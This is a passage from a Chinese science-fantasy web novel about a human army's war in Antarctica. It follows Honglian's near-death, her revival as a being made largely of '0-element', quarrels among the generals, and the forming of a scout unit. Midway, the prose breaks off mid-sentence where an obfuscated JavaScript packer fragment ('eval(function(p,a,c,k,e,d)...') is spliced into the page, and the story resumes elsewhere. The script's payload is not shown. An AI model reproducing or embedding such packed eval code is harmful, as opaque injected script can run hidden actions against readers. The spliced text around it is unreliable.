天荷上任赛博空港守将后，就将现存的蜂鸟无人机改造，并用运到的0元素培养罐生产轻型伞武装，将无人机和伞筒机炮结合，使人类阵营有了第一种空中作战单位。 队员坐在立向月牙中部，月背是微型核子反应堆动力的超导悬浮引擎，下月牙上有伞筒机炮的支架，众人万弹齐发，交战双方的第一场空战开始了。 半身侍灵因其飞行姿态极似蒲公英，命名为蒲公英型侍灵，别看它们是用手控制螺旋桨，飞行速度很快，且极为灵活，队员乘坐的这种无人机毕竟是工程机械。天荷在山顶防空基地内用望远镜观察，发现敌我交换比例为二比三，她叹气后下令防空巨炮开火，暴雨般稠密的定时引信散弹爆炸，覆盖了蒲公英型侍灵存在的全部空域，其实它们免疫普通炮弹的伤害，飞来海岸西角就是要攻陷山顶阵地，但爆炸产生强风影响了它们躲闪队员持伞筒机炮发射的子弹，空中的蜂鸟型队员和地面的铃兰集群一起射击，轻松歼灭了这股敌军。 铃兰一剑戳死在地上爬行的半身侍灵，转身对赶到的千里说话。 “海岸东角已赢，我带两个能量全满的业凰集团去冰海面，余部交给你了。” 千里赶忙点头，她觉得这个小矮子颇有红莲风范，或许是因铃兰仰慕红莲后不自觉的模仿偶像，业凰队员们也私下称铃兰为小红莲。 千鸟集群稳扎稳打，占据了超重工业中心，这里的工程设施令人叹为观止，是锻造巨型航天机器的基地，侍灵大军已经散乱成无数小股部队。 西线的紫洋集群占领了天梯工程公司旧址，海量钢铁建筑中间有一截高达400米的太空电梯，是古人拆毁电梯剩下的遗留物，可以充当瞭望塔，紫洋登塔远望，红莲队伍已移出了她的视线尽头，于是她派野芹带一个集团去支援。败退或负伤的队员进入飞艇仓库修养，南极内陆的阳荷和天荷还各派来一支新手集群来协助各队清缴残敌。 如今，人类收复了南极全境。 救援北极集群 一万二千多名业凰队员滑行在冰海面上，光线稀微，夜幕低垂，众人恍惚中觉得自己是在滑入夜空，红莲分析北极队员的迟到，计算出北极队伍是又分成三路突围，直到一小时后，远方光点如繁星闪烁，印证了她的猜想。 人工岛附近的光照射穿晶莹剔透的冰层，向远方折射，照清了持续分出小队断后的北极岸防连城集群，原来是黑白将军看破敌军主要追击0元素培养罐，就分出了四万名队员护送罐子径直穿越人工岛包围圈。 红莲众人越滑行，前方越是银光遍地，侍灵总数可能接近40十万，却先遇到了在包围圈外围观战的贝家主及其卫队，众队员顺路消灭之，红莲在滑行过程中向天发射一枚红色照明弹，偌大的冰海面变成猩红，银衣人形群魔乱舞之中，三万多名北极队员望天兴奋，她们不顾一切的向南冲击，侍灵大军的包围圈一层又一层，剥掉阵型外围的队员。 “帮我跳起来！” 随红莲一声令下，千名队员滑行的同时叠成人塔，另有百人牵手绕冰面一转，红莲抓住队尾的手，顺势离地，众队员把她甩向蓄能待发的人塔，千人协调的能量场叠加高速离心力将红莲甩向包围圈南部，红莲在急速下坠过程里，施展绝命剑，球形的剑技防御罩砸在敌阵就继续向北猛冲，一路刮死千名侍灵，一招贯通包围圈，她看见北极的各位队友就收招大喊。 “走！” 这时北极队伍已不到三万人了，黑家主曾命令她们紧紧围住横躺的0元素培养罐，拖行罐子导致众人突围艰难，队员们刚冲到突破口附近就又被侍灵部队封住了，四个业凰集团再杀穿包围圈，两支队伍合流冲破包围，侍灵大军紧追，红带一只精锐中队在全员身后掩护。 海风吹来了故人常用的香水味，让红莲心情顿时跌倒谷底，侍灵大军窜出一队敌人，直接冲散了红莲中队，指虎与黑剑相撞，红莲与来敌面对面了，是位身穿白色西装的英俊女子，身段向美少年那般帅气，红莲忍不住喊道：“元师傅。” “我说过，不要叫我师傅。” 元几招打飞红莲，顺路打伤三名队员，红莲爬起猛蹬冰面后，一瞬冲到元身前交战，后方的业凰队员们渐渐停止撤退，转而支援红莲，侍灵大军抓住这个机会，急速向全员包围过来，急的红莲大喊：“不要管我！快走！” 于是队员渐渐分为两批，北极队员先行护送罐子前往南极，业凰队员和元带的侍灵部队边打边撤，所幸包围圈还未能封口。 元指导过红莲的剑术，还十分了解她的性格，而且还是铁人师父的亲传弟子，习得真我剑术的静，绝，极三界，最让红莲被动的是元的武技是格斗术，它贴身战斗总能抓住红莲的黑剑盲区，二人相遇不到十秒，红莲已经吃了二十多拳，0元素存量条持续减少，代表元确实想杀了她。 寸秒必争的对决让红莲无暇思考和说话，混乱的战场还让她没法指挥各队，只觉得风中似乎还有某位故人，她在远方敌军中看到一个美艳身影一晃而过。 那白菜形卷发和完美身材的轮廓，属于这时代的人类中的最大背叛者。 天家主，久违了，故友相残，伯乐索命，这就是你为我安排的结局吗？ 红莲和元同时施展一命剑，一对指虎顶住剑尖，黑剑却突然消失，双拳砸中红莲胸口，而她左手向前，在黑剑消失的时候，同步在左手构造黑剑，虽然还未完成，却足以刺中元的灵能核心，红莲这招舍身变招完全在元意料之外，若不是它的拳击影响了红莲，就已被黑剑消灭，元捂着胸下不停泄露的灵能气流，急跳撤退了。 红莲转身看队员们都健在，敌军包围圈还未合拢，就指挥各集团急撤，两名队员扶她一起滑行，逐渐与侍灵追兵拉开距离的时候，一道蓝光刺穿厚达百米的冰层，蓝色物体将红莲逐渐吞没，在她渐渐消失的视线中，回望铺满冰面的百万侍灵大军阵里，天家主露出了得意的微笑。 好像在说，你永远逃不出我的手心。 34. 章34南极：请不要离开 我们不知道天家主的刺杀计划，对红莲的身心造成了多大伤害，我甚至希望红莲大人战死疆场，免得再受此世之恶，可我和队员们一样离不开你，是你点燃我们心中的斗志，唤醒我们沉睡的灵魂，所以我们恳求你，请不要离开。 战役结束三个小时后，随着最后一批业凰队员绕道北海岸的东角，返回雪牢关下方的临时指挥部营地，人们得以还原事件全貌。 当时，野芹集团向北支援红莲队伍，正遇五名北极队员护送0元素培养罐，她们讲了护罐队伍折返的原因： “是红莲将军吗？” 一位队长问道，另有几名队员齐声询问一位队员，她说恍恍惚惚看到黑色长发和修长的身姿，很像红莲，别的队员也说确实看清了，是她们第五城区的将军红莲。 这一万多名北极队员，就留五人托运罐子，一起赶往必死之路，她们大多能量不足，还有多人受伤，却义无反顾的涌向北方，只为再见她一面。 她们到场后，侍灵大军主力与业凰集团混战，战场中央是一只巨大无比的灵能章鱼在胡乱缠斗，果冻状的身体里流动着蓝色能量，血盆大口一边发射强大光束，一边发出笑声。 怪兽贴心的报上了名号，是灵能会学者院四海魔之一的克拉肯。 北极队员得知是红莲被困在章鱼的触手团里，红莲或许找到了章鱼的灵能核心，施展了极命剑，超音速的剑击迸发起熊熊烈焰，北极队员见有营救希望就向章鱼冲去，红莲向下攻击，章鱼就用口器射穿冰层，钻入海中，拖延红莲剑技的持续时间，天家主知晓红莲的一切能力，这是场谋杀，北极队员们跟着章鱼跳入海中，业凰队员围着洞口拼杀了约半小时后。 一个黑色的人形怪物就从洞口窜上来，射出万条触须，不分敌我的乱打，业凰队员无法确认它是不是红莲，就在混战中分批撤回南极了。 实际上，这只怪物要比她们还早回到南极北海岸，敌军也赶到，被它杀退，它一个人就能扫死过万侍灵，队员一冲，也被它打退，双方隔着它对峙了半个小时，天荷派铃兰集群从海岸西角向人工岛方向佯动，侍灵部队才撤离了，而怪物就在岸边游荡巡逻，队员们无法查明它是敌是友，保持着一公里距离，观察它。 温柔的羁绊 黑巴集群救出的贝比集群有一万多人，由铃兰集群救出的黑白集群有一万六千多人，这些队员进入南极内陆休整，新增的六位将军级四星队员分别是贝比，强风，烈风，黑白，天思，天兮。这些人也参与到临时指挥部的会议中。 作者宫廷内侍官茧代表橡树王赶到指挥部的时候，听闻参会将军大致分为两派，一派是天荷集群，天烛代表的业凰集群，千鸟集群，这派以天荷制定的战略为准，主张围攻人工岛，敌军就是因为北极初定，人工岛的侍灵部队让贝家主挥霍没了，只要趁势拿下该岛，就能化被动为主动，让南极不再遭受入侵，还有机会进攻北极本土，敌军要分兵设防，进攻部队就少了，而且能掩护这个身份存疑的怪物。 另一派有阳荷，黑巴，紫洋，龙葵，贝比，黑白这六位将军，以阳荷为首，主张运走海岸的关键设备，全员撤往内陆防御。阳荷是战略是最稳妥的，因为灵能会展示出极为强大的怪兽，在毫无掩体的冰海面作战无异于拿全员的命冒险，茧代表橡树王支持天荷一派，红莲大人刚走，这帮人就显露乌合之众的分裂与散漫，可以这么说，没有红莲，人类连一个月都撑不下去。 队员们的行为也显露出这种倾向，大家无视了阳荷一派的调令，自发的在海岸边露营，三十多万人铺满了雪地与山坡，事态就这样僵持着，因为人人都懂，这场战争根本打不赢，那么还不如跟红莲大人一起战死来的痛快。 天荷和千鸟在指挥部与另一派争吵对峙。 天烛大人哭成了泪人，几次要冲到怪物身边，都被队员们抱住并拖回来了，夜兰临危受命，成了业凰三个集群的核心人物，她看着众人红肿的眼袋，一时也拿不定主意，只能把希望寄托在红莲培养的接班人望江南身上。 这位瘦弱的红发女孩，既充满感情，又兼顾理智与谋略，她马上想到藤萝精通0元素理论和医学，于是玉珊瑚赶往家园堡，带来了藤萝副官。 藤萝先用望远镜观察了怪物，让玉珊瑚试探出了触发怪物的被动攻击范围是800米，她壮着胆子站在范围边界上观察它。 怪物是人形，全身覆盖黑色鳞片硬甲，硬甲的款式极似业凰队服，最像红莲的特征是头顶的物体形如黑色大檐帽，脸部也被硬甲包覆，形似黑色长发的物体是细丝触须，很像大衣的物体是万条粗大触须汇合形成的，它走路的步态也像红莲。 藤萝取来一只轻型伞武装，用机炮模式射击怪物的硬甲，打光两万发子弹，99%被触须自动防住了，怪物人形主体没受攻击影响，继续沿岸边走动，打中硬甲的子弹显示硬甲就是0元素形成的。 藤萝变出步枪，精准无误的命中怪物的帽徽位置，她立刻拿望远镜观察。 “是红莲大人没错，能看到两颗黑星，这是0元素评分系统强制表现的特征，不过很快被鳞甲覆盖了。” 队员们一听是红莲没错就欢腾站起，整个海岸人声鼎沸。 天烛嗓子哑了，没问出来，铃兰抓住藤萝的肩膀急问：“怎么救？” 藤萝掰下铃兰的手，坐在雪地，看着怪物。 “都肃静！让我想一想！” 一分钟后，她开口了。 “红莲大人现在的情况很像玛丽安死前的状态，哎呀你们别哭！” 人们一听死字，眼泪又奔涌而出。 “我说是像！懂？没死！” 藤萝安抚住众人，继续说：“玛丽安服用的过量原初0元素，凭一个人的灵魂无法驾驭，御前集群的战死队员帮她撑了一阵。红莲自己的0元素不可能包覆全身，还这么厚，还能射出万条触须，一定是有别人的0元素参与。这些很像章鱼触须的物体，也很奇怪，似乎无视人形主体的命令，自主防御。” 夜兰插话：“听说北极队员里，有一万多名是红莲姐的旧部。她们跟随红莲一起对战的是巨型灵能章鱼。” 藤萝捏着下嘴唇思考，大家都期待她翠绿长发里面的天才脑子能找到答案。 “我明白了。” 茧作为旁听者，根据藤萝的描述还原了她们在海里的战斗。 红莲耗尽极命剑的最大时长后陷入了精神衰弱，0元素存量也已见底，灵能章鱼克拉肯也奄奄一息，但海里是它的主战场，因此还有余力攻击红莲，藤萝推测，红莲身体的75%生物组织被章鱼攻击破坏了，她完全是靠自身斗志支配0元素勉强守住了神经系统，那一万多名队员牺牲了，却还想挽救红莲，使她们的0元素填补了红莲身体缺失的部分，并且切下了灵能章鱼的意识主体，包裹在红莲身上，这样她才能从深海游上来。 现在的问题是，灵能章鱼的意识被战死队员们压制着，所以她的攻击不分敌我，而红莲自己的意识极为衰弱，很可能记不得自己是谁了，一旦她的自我意识完全消失，就永远无法唤醒，而战死队员们也无法压制章鱼太久，到时失去灵魂主体的0元素就会消灭掉章鱼意识，变为一滩黑水，慢慢挥发掉。 “离红莲坠海已经过去五个小时，不能再拖了。要有人去顶着触须攻击，接近红莲，逼出她的自我意识，0元素里保存着红莲大脑中的记忆片段，有微弱概率使这些碎片化的信息，重新聚合成她的意识主体。” 铃兰先迈一步，说：“我先来！” “等等！” 望江南喊住铃兰，再说话：“我听到过红莲姐姐的心声，让我去吧。” 她迈过800米的边界，黑色触须打没了她头顶的帽子，红发散落下来，观者皆惊，而红莲毫无反应，继续踱步。 “哈哈，我知道姐姐既爱又恨这个世界，我知道你早就累了。” 万根触须打破了望江南的队服，击中她的膝盖，她栽倒后一边爬行，一边说话。 “我明白你为什么抱着被子角流泪，内心的孤独，无出可逃。” 人们以为少女会爬向红莲，却看她原地站起，踉跄栽倒的同时，触须攻击又来，把望江南卷到空中，不停的抽打，再卷向红莲身边，红莲停步。 红发少女的队服已无，只剩染血的白衬衫和衬裙。 “请您别恨我们，我们只是离不开您。” 望江南面对红莲，张开双臂。 “人生对我来说也像一场噩梦，我愿和您一起长眠。” 望江南抱住红莲，黑色鳞甲顷刻蜕变成一个全身通黑的女子和一只通黑的章鱼。 女子的肤色和衣物渐渐形成，清冷面容，乌亮长发，瘦高的身形是不变的傲气站姿，她爱抚望江南的脸颊。 “你们啊。” 红莲抱起晕倒的望江南，侧身对雪中蠕动的黑色章鱼说：“你去人工岛躲起来吧，我有需要的时候，再召唤你。” 欢呼声结束了临时指挥部内的争吵，红莲进入营帐后，在众人惊愕的注视下，编写完防区计划，就独自离帐，步行进入雪牢关，身影消失在夜色和风雪中。 海岸防区是由黑巴集群主导，龙葵集群，贝比集群设防的北海岸，黑白集群归天荷指挥，设防海岸西角。 人们都知道，红莲变了，首先是变冷漠了，无视了天烛和夜兰拥抱，独自入关，也没回业凰，不联络任何人，大家一时又担心她，不久后，有后勤队员报告在雪地里看到她孤单的坐着。 天荷找藤萝要到了较为合理的解释，现在的红莲全身75%由0元素构成，这使她的五感不似普通人类那样温和，而是敏感又机械，再加上她损失了很多末梢神经和零碎记忆，更令她难有情绪波动。 让她一个人静一静吧。 藤萝这样说。 战备时间 幽蓝深邃的冰海际线，海风时常带来北方深处的灵能科技发出的异响，预示着敌人还在做着战争准备，使队员们心情低落，各自垂头丧气的在广袤无垠的海岸基地中悄然忙碌。 天空被一场突如其来的大雪悄然改写。雪花如同天空洒落的羽毛，轻盈而密集，它们不急不缓地飘落，给这个充满未来感的基地披上了一层洁白无瑕的纱幔。藤萝轻抚亮绿长发，黑色长袍尽显她的学者风度，她用喇叭袖子，挥去物资箱上的积雪，坐下后的姿态，是女性独有的弧线美感，她轻轻的说出友人的名。 “巴。” “嗯？” 女子微斜的侧脸娇美迷人，斜边的黑色短发显得利落帅气，纯黑色的队服上衣裹在短裤上，外披一件黑色短款斗篷，三层防护身体要害，因她是冲锋队形的最前队首，充足的体外0元素还说明她最近也升到的五星，身形帅酷优美，黑巴的个性就是补完女性柔弱的短板，果断与温柔兼备，让属下队员无不倾慕。 “你升到五星了吗？” “嗯，这样不行啊，队员士气低落。” 藤萝听黑巴说了，才发觉基地里的气氛萎靡，常年投身科研工作使藤萝很难理解别人，所以她对任何人都保持着距离感。 “红莲将军会想办法的。” “她的情况怎么样？” “还好。你们等等！” 藤萝喊停返回内陆的装甲运输车，黑巴让负责岸防的各集群构建机炮阵地，所以这些车队原本是向海岸各地运输新生产的轻型伞武装，藤萝拦下车队，要装载从造船厂基地拆下的工业设备，她给后勤队员布置完工作，走回黑巴身边坐下。 “地上建筑里有些制造古代舰炮的模具机和冶金设备，正是家园堡所需的。” “好的，我让战斗队员帮你们拆，等你们走后，我打算把地下船坞封起来，说不定以后可以用到，免遭侍灵破坏。天荷和晴灯来这做什么？” “噢，天烛还没从悲痛中恢复，天荷将北极运来的0元素培养罐运往我的家园堡，这样家园堡，赛博空港，首都三城就都能研发制造0元素武器装备了。天荷还主持了装备研发的后勤会议，她要拆走天梯工程公司的合金纤维制造设备，超重工业中心的飞机发动机设备，我看飞艇仓库里的超大型运输机生产线保存完好呢，只是短时间没法再生产。晴灯要太空城的火箭制造设备，还有造船厂地下船坞里的螺旋桨铣床和模具机。” “能拆就都拆走吧，不知道侍灵大军什么时候再打过来就保不住了，我看海岸五大基地都成废墟，里面的设备还能用吗？” “关键是解析古人的设计，经历过实用检验的设计更合理，而且四个巨型飞艇仓库里的物资都保存完好，阳荷将军还发现了半块飞艇外壳！” “飞艇外壳？” 藤萝站起来，张开双臂比划。 “有这么大！是生长金属造的，异常坚固，阳荷想用外壳当服务局的防御墙，她的集群正在拖行外壳，要路过家山东北坡。” 黑巴笑着招呼她坐下。 正如藤萝描述的那样，海岸里，车山车海，四万辆新旧款式运输车铺满雪地，十万战斗队员配合两万后勤队员将大部分建筑拆的七零八落，到处都是队员切离巨型设备产生的火花，还有拖行设备的钢缆断裂引发的骚动，先期装车出发的车队已经在雪牢关内外堵成百里长龙，阳荷集群以人力拖拽了一面形似蛋壳的巨大材料攀登家山。 基地内的路灯散发出柔和而昏黄的光芒，在漫天飞舞的雪花中勾勒出一幅幅温暖的轮廓。灯光与雪花交织，为这冰冷的雪夜增添了几分柔和与温馨。 远处，科研人员的工作区依旧灯火通明，尽管窗外风雪交加，但室内却是另一番景象：人们或低头专注于复杂的数据分析，或热烈讨论着即将进行的拆解任务，每个人的脸上都写满了对探索未知的渴望与决心。这份执着与热情，如同冬日里的一把火，温暖了整个海岸。 半天时间过后，负责岸防的黑巴，龙葵，贝比三个集群利用建筑残骸搭建了多层立体式的机炮和火炮阵地，覆盖大半海岸，阵地与海岸西角的黑白集群接壤时，发现她们的防御工事还有地下休息室和暗道，于是队员们有样学样，完善了海岸防线。 被雪覆盖的土地，高耸的发射塔架如巨人般屹立，它的钢铁身躯在雪光的映照下显得既冷峻又庄严。塔架和火箭都已拆解。 难言默契 雪越下越大，逐渐将道路、设施乃至远处的山峦都融为一体，整个世界变得纯洁而宁静。一辆辆装载着物资或设备的雪地车穿梭其间，留下一道道深浅不一的车辙，各位将军看设备拆运工作有条不紊的进行，正要返回各自驻地，却突然接到了战略及后勤联合会议通知，主持人不是红莲，居然是天烛，众人带着诧异感，前往业凰科学院。 将军们跳上运输车顶，迅捷奔跑，快速穿过拥堵的车流，落地就到业凰环丘下坡冰面，她们一起滑行，远方的白色城堡为这片寂静的世界披上了一层神秘而柔和的光辉。 这队人沿白色高墙后方的螺旋通道进入科学院，白底金边的楼廊和高塔密布在一座白色石山上，显得圣洁而典雅。只不过白石长廊各处都部署了机炮工事，显示业凰科学院已不作为研发基地，而是前线要塞。将军们快步路过山下圆形广场，进入山洞内的电梯，到达顶层的社员会办公室。 门开，业凰的将军级队员整齐站在会议桌的尽头，有夜兰，铃兰，玉珊瑚，天烛说了句请坐，自己就坐在主持人座位上。 阳荷，千鸟，天荷，黑巴，紫洋坐在会议桌两侧，她们看出天烛的精神状态很不好，眼皮红肿，双眼瞪直，白发刘海和鬓角散乱，脑后的盘发也不像以往精致，队服里的白衬衫领口歪扭，似乎是刚睡醒就召集众人开会。 “开门见山，我今天想把话挑明，诸位不懂后勤工作，所有队员的生活，武器装备，定居点，作战撤退隐藏点，物资运输，败退休整营地，医疗休养工作都是我一个人统筹负责。” 千鸟：“所以呢？” 天烛：“你们是觉得我们业凰好欺负么？” 阳荷：“你这是说的什么话！” 天烛：“凭什么关键战斗都是红莲冲在最前！” 她大喊了这句话就激动的站起，黑巴一向无惧任何人，也站起来反驳。 “就她一个人拼命了么？我也冲在最前！我愿意！她自己愿意！” 天烛：“我不管那些！你们都顶这将军之名！不要像长不大的孩子等红莲姐拯救一切！” 紫洋一拍桌子，站起来怒问：“你说谁是孩子呢！” 夜兰，铃兰及玉珊瑚上前一步护在天烛身前，局势似乎朝对峙演变，千鸟和阳荷将紫洋按回座位。 天烛：“我当够保姆了，我今天不是请求，是威胁各位，你们还混日子，敌军再来，我也会耍些手段。” 阳荷十分清楚，没有天烛统筹后勤工作，战斗连一天都撑不下去，这种工作要考虑到每名队员的生活，战斗，休整需要，其实也体现了天烛对全员的关心和支持。 “事态不至于是你想的那么严重，我们以后会尽力分担业凰的主攻任务。” “感谢阳荷大人，我觉得你们都很强，拿出实力来。苟存性命于末世是不可能的，我想你们都知道了，侍灵可以无限复活，人类的孕育罐基地却没有新生人口了，我们必输无疑。人类就算灭亡也该灭的有骨气些，不要让灵能会再小看我们。” 会议就这样不欢而散，将军们出了业凰后门，各自道别。 后花园的冰花随风飘摆，冰晶花瓣碰撞出银铃般的悦耳喧嚣，驱散了人们心头的悲切，将视线引入雪原，恢复到黑与白的平静，预言了人和人的悲喜并不相通。 发光的白色城堡外墙照耀雪面，驱散了数百公里范围的灰暗色调，物资中转基地就设立在业凰科学院和服务局之间的雪原中部，是圆形防御墙和战壕围成的四方营地，武器有轻型伞筒机炮和中口径火炮台，密封居住舱和大型帐篷调运人员和物资，万辆运输车在防御墙的夹角入口排成长队。 白光轻轻洒在辽阔无垠的雪原之上，为世界披上了一层神秘而柔和的光辉。 连绵起伏的山峦在夜色和白雪的交织中，轮廓变得模糊而柔和，宛如一幅淡雅的水墨画，静静地诉说着冬日的寂静与壮美。 一队人行走在这样的雪原之上， 头戴兔耳的白发少女每一步都伴随着脚下积雪发出的“吱吱”声响，那是冬日特有的旋律，清脆而悠扬。 远处，侦察集群正在进行隐蔽机动训练，其实空有集群编制，队员不足3215人，大部分志愿者不符合侦察队员的标准。 “标准是什么呢？” “要彻头彻尾的胆小鬼！” 千里说着，楚楚可人的瓜子脸眯眼坏笑，吓的小队长一个激灵，再看她身穿的白衬衫和黑色连身裤勾勒的窈窕身姿，温柔气质不像坏人。 “我继续跟你说，你知道生物图鉴的兔子吗？” 小队长点点头。 “长耳朵代表它全力侦测环境，谨慎处理每个动作引发的风吹草动，强壮的后腿代表它将全部体力用做逃跑。侍灵大军再来袭时，能轻易突破海岸和雪牢关的防线，内陆各集群的撤退和进攻路线飘忽不定，留出大片敌占区，我们侦察队员就要留在那里，探察敌情并联络各集群，所以要像兔子一样擅长侦察和逃跑！” “那为什么非得是胆小鬼呢？” “因为我们这种人自己清楚，当战斗队员更容易死。世上没有安全的地方，敌占区虽然凶险，但有极高的自由度，万事全靠自己，哎？你能明白靠自己的安心感吗？” 小队长点头后问：“那么队员的配合是不是更低效了呢？” “错啦，胆小鬼之间有深藏不露的默契。时间到，测试通过！集合！” 千里说集合，再拍手，方圆三公里范围内的侦察队员向她集中，她扫视一眼队员方阵，3100人，少了15人，奇怪的是15人中有5名是她精挑细选的联队长。 “算啦，我一会儿自己去找吧，今天更新黑猫队员定制队服及武器的辅助程序，还要熟悉0元素无线通信天线的部署和维护方式。” “黑猫？” 队员们齐声说完，都变出平板电脑模样的黑色信息板，程序更新完成，队服同步变化，头顶的黑帽变成一对黑色猫耳，这对0元素猫耳天线根据队员个人素质不同，可探测五公里到五十公里范围的能量波动，并实时标记在视觉地图上。 0元素是绝对黑体，不反射任何能量波，队员只能被人类和侍灵看见，是意识观测，侦察集群的黑猫队员特制的外套是一件0元素的黑色吉利服斗篷，参考了古代吉利服的设计，由一条一条的0元素黑条组成，能有效降低灵能光束和侍灵佩刀的伤害，队服以上的种种改动，是牺牲武技攻防效能，最大化消耗体外0元素的保命设计。 因此，黑剑就无法作为主武器了，千里半蹲下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她们来到一处洼地，人群围着一个火炉，围观者都是白发，看队服和袖章是来自不同集群，火炉边有一位通身白衣的美人，优美曲线在体现在她身上的每个部位，侧坐的腿长显示她有超180CM的身高，脚穿的银质机械靴十分精巧，这是风之部落独有的装备。 “是风信子大人吗？” 她听千里呼唤，白色波浪长发在抬头的一刻显露粉色光泽，椭圆形的冷美人脸孔也把千里迷住了。 “来坐。” 千里坐下后发现人群越聚越多，而且仔细看的话，每个人的发色好像都带淡淡粉色，那五名联队长也在其中。 “哎？你们不归队跑这来干嘛呀，让我一顿好找！” “千里大人，我们脱离侦察集群了，稍后向您递上辞呈。” “哇哇，那我的队伍玩不下去了呀！你们要去哪呀？” 联队长没回答她的问题，而是看向风信子，冷美人的视线却盯着火炉，就好像是说这火焰隐藏着什么深刻的道理或者奥秘。 “千里最近在忙什么？” “噢，鼓捣侦察集群呗，大家对敌境求生的方式一窍不通，好难呐，哎？风信子大人您这紧身衣好美啊，这是0元素队服吗？” “我不喜欢黑色，就把队服练成白色。你也可以，我教你。盯着雪面，感受队服，把黑色想象成白色，要保持这种想象。” 千里麻利的摘掉布制兔耳，操作0元素信息板，在长发上变出她心心念念的兔耳，不一会儿，就学会了将兔耳变成白色，她决定回去后，教黑猫队员把斗篷也变成白色，那样的话，侍灵就连目视都很难发现队员了，她正练习保持兔耳颜色，人群中进来两位将军级队员，分别是身穿黑色软甲的强风副官和高大的烈风副官，她俩看见风信子就单膝跪地，人群跟着跪下，把千里吓懵了，南极人中早有传言，当年风家成立时有些族人不符合加入条件，后来就免被玛丽安屠杀。 “长公主殿下，风猎，风蔷，特来报到。” “我说过什么？” 强风和烈风被风信子问的面面相觑，再看她站起来，变出黑剑，好像要砍她俩，才让她俩想起了风信子说的话，就连忙站起，众人也站起来，而风信子坐下后，继续看火。 “风之部落啊，已经没有了，她们沉迷于丑陋威势，早晚都有此劫。我们族人保持了近万年的部落，只是为了选出武技高超之人罢了。现今，人类危在旦夕，公主名分什么的，也没意义了，诸位各忙各的去吧。” 强风和烈风愣了一会儿，勉强挤出一句：“可是，我们想追随您。” “追随我干什么？” 人群被风信子问的沉默许久，千里是小机灵鬼，敏感的察觉风信子是那种热衷于独善己身的女子，甚至可以说她是独立自主的代名词。 “哎？我看这样好不好，风信子大人帮我练练侦察集群好不好？哎呀！我跟您说，我们集群自由着呢，没人给我发号施令，只需要看看侍灵大部队在哪，报告给各位将军就完事啦！噢喔，我早听说风之族人极擅长野外求生，您又是深入敌境的侦察大咖，你们一加入，那我的集群简直原地起飞！” “求我。” “哎？” 千里哎了一声，看着风信子的优美面容，没有表情，没显露什么信息就是原话原意啊！ “求求您了，哎呦，我们的好前辈，您看我这兔耳终于变白啦，太感谢风信子前辈啦！” 千里低头，在风信子面前甩动兔耳，风信子笑了。 “很可爱，你审美不错。” “那您要戴吗？” “不戴。你们愿意加入千里，就去帮她训练新手。剩下的人，我要五千个身手好的，我最近迷上救人的美感了，我要成立一支救援队伍，我们当众人的救星，即便阵亡，身坚志美。” 众人释怀后的欢笑，风信子却凝视火炉中的烈焰，那跃动的火舌，仿佛一朵火红的莲花，她希望这朵傲世之花，斗志永不熄灭，支撑南极剩最后一人。 得失 天烛为寻找红莲，派出的队员正好来到，风信子说见过她，在首都山脉西侧的一处物资碉堡里休息。 首都风花白夜宫背靠的山脉西侧，山下是暴风雪常年吹平的万里荒原，如果是没见过鼎盛繁华之城的人，就无法欣赏此地的荒凉美感。 荒凉与荒诞最为贴切，真实反映了世事无常。 寒风细语，穿梭在雪原的每一个角落，带着刺骨的清冽，却也携着一份难以言喻的纯净与宁静。 雪原之上，风沙闪烁着细腻而变幻莫测的微光，犹如万千萤火虫在静夜中轻舞，将寒寂转化为一种超凡脱俗的美。 南部山峦的轮廓在雪的覆盖下变得柔和而模糊，宛如一幅淡雅的水墨画卷，缓缓铺展在观者的心田。 碉堡外围的防御墙挂满了沉甸甸的雪绒花，偶尔因风的轻抚而簌簌落下，发出细碎而清脆的声响，如同自然界的低吟浅唱。 天烛副官扶了扶头后盘辫，再双手一撩额头两侧鬓发，低头检视上衣的金色双排扣是否规整，拍拍裙摆上的积雪，走入密封碉堡，内有400平米的居住舱室，她顺带检查一下后勤队员施工的质量，一位休假的中队长正好路过。 “红莲，在这吗？” “在最里面的休息室，应该醒了。” 天烛回身对藤萝说：“我先进去说几句话。” “好的。” “抱歉，您稍等。” 藤萝是天烛请来检查红莲身体的医生，天烛确认藤萝对等待并无反感，就轻敲房门。 “谁。” “我。” “进来吧。” 天烛进屋，光线昏暗，见红莲侧坐在西墙窗下，凝望西部雪原。天烛走到红莲腿边，趴在红莲腿上，轻蹭着她。 “听说你跟将军们吵架了。” “她们太放松了。这里没有茶具吗？” “我明天回业凰。你终究还是成长了啊。” “不好吗？” 红莲低头，微笑后说：“你是中规中矩的女子，我挺希望你不要长大。” 天烛扶着她的身体向上爬，伸手轻触红莲眼角。 “你又哭了？” “嗯。我发现自己身体里面全是0元素了，唉，复活的代价。我最不能接受的是，自己首先为失去肉身而难过，却没先为第五城区的一万名姐妹难过，感觉自己不配领导大家。” “你的道路指引着我们，这就够了，何必这样逼迫自己呢？” “悲伤的氛围应该休止，我们不能哭哭啼啼的结束，以后应以自强为乐。” “我们听你的。我带藤萝来了。” “我很感激她。” “是啊，我先回去了，姐，别为难自己了，人无完人。” “好。” 天烛起身，鞠躬，转身离开。 过了一会儿，藤萝进来，坐在床边，红莲将椅子搬到她对面坐下。 “红莲大人。” “感谢你们救了我。” “别这样说，不如说是我们强行将您拖回这个噩梦般的世界。红莲大人，请变出0元素信息板，让我检查一下您的身体状况。” 藤萝将随身电脑的数据接口连接红莲的信息板，房间内只有她敲击键盘的声音。 “不太乐观。” “我没有心跳，触感和痛感模糊，感觉自己和橡树一样，变成纯0元素组成的人了，请你如实说吧。” “不一样，橡树王是信息编码驱动0元素形成的意识体，身体五感几乎与普通人无异。你的身体里，仍有25%是生物组织构成的神经网络，您自身的0元素积极维持该网络正常运行，使您趋近于人类，此外的0元素，来自您带过的北极队员，她们休眠了自己的意识，完全遵从您的神经网络支配。这种生命形式非常像高阶侍灵，北极队员在挽救您的时候，可能无意识的参考了那个灵能章鱼的身体结构，从而造成现在的结果。” “我终究还是输给了灵能会吗。” “红莲大人对灵能科技有偏见啊，直接用意识塑造万物，是最高效的科学技术，只不过天狼星技术是绝密，我们没法掌握。其实我们0元素队员也可以算作一种灵能生命，红莲大人，北极队员爱您，相信你的决定都是对的，才沉眠，听从您的支配，您就当借用她们的0元素，反正大家最终都要离开。” “明白了。” “我还要说明，您没有肉身，无法补充神经网络的损耗，千万别用极命剑了。” 